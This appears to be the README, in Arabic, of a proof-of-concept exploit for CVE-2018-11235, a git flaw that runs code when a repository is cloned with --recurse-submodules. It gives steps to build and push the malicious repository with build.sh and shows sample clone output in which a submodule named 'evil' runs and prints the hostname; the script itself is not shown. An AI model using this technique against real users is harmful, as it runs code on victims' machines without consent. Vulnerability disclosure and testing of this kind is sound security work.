
إثبات مفهوم لثغرة CVE-2018-11235 تسمح بتنفيذ الأوامر عن بُعد عبر git clone --recurse-submodules
لا يسمح لي GitHub بدفع مستودع يستغل الثغرة (نقطة جيدة لهم)، لذا سيتعين عليك بناؤه بنفسك عن طريق تشغيل برنامج build.sh.
ثم ادفع المستودع إلى مكان ما. عندما تستنسخه باستخدام العلامة --recurse-submodules، يتم تنفيذ البرنامج الخبيث:
$ git clone --recurse-submodules repo dest_dir
Cloning into 'dest_dir'...
done.
Submodule 'Spoon-Knife' (https://github.com/octocat/Spoon-Knife) registered for path 'Spoon-Knife'
Submodule '../../modules/evil' (https://github.com/octocat/Spoon-Knife) registered for path 'evil'
Cloning into '/snip/dest_dir/Spoon-Knife'...
Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
Here is your hostname: snip
Submodule path 'evil': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
الكود مستمد من git patch الخاص بـ @peff (ابحث عن ملف الاختبار t/t7415-submodule-names.sh).
وبناءً عليه، يُنشر هذا المستودع بموجب رخصة GNU العامة الإصدار 2.
إصلاح إضافي للإصدارات الأقدم من git بفضل @atorralba (تفاصيل في هذا المنشور).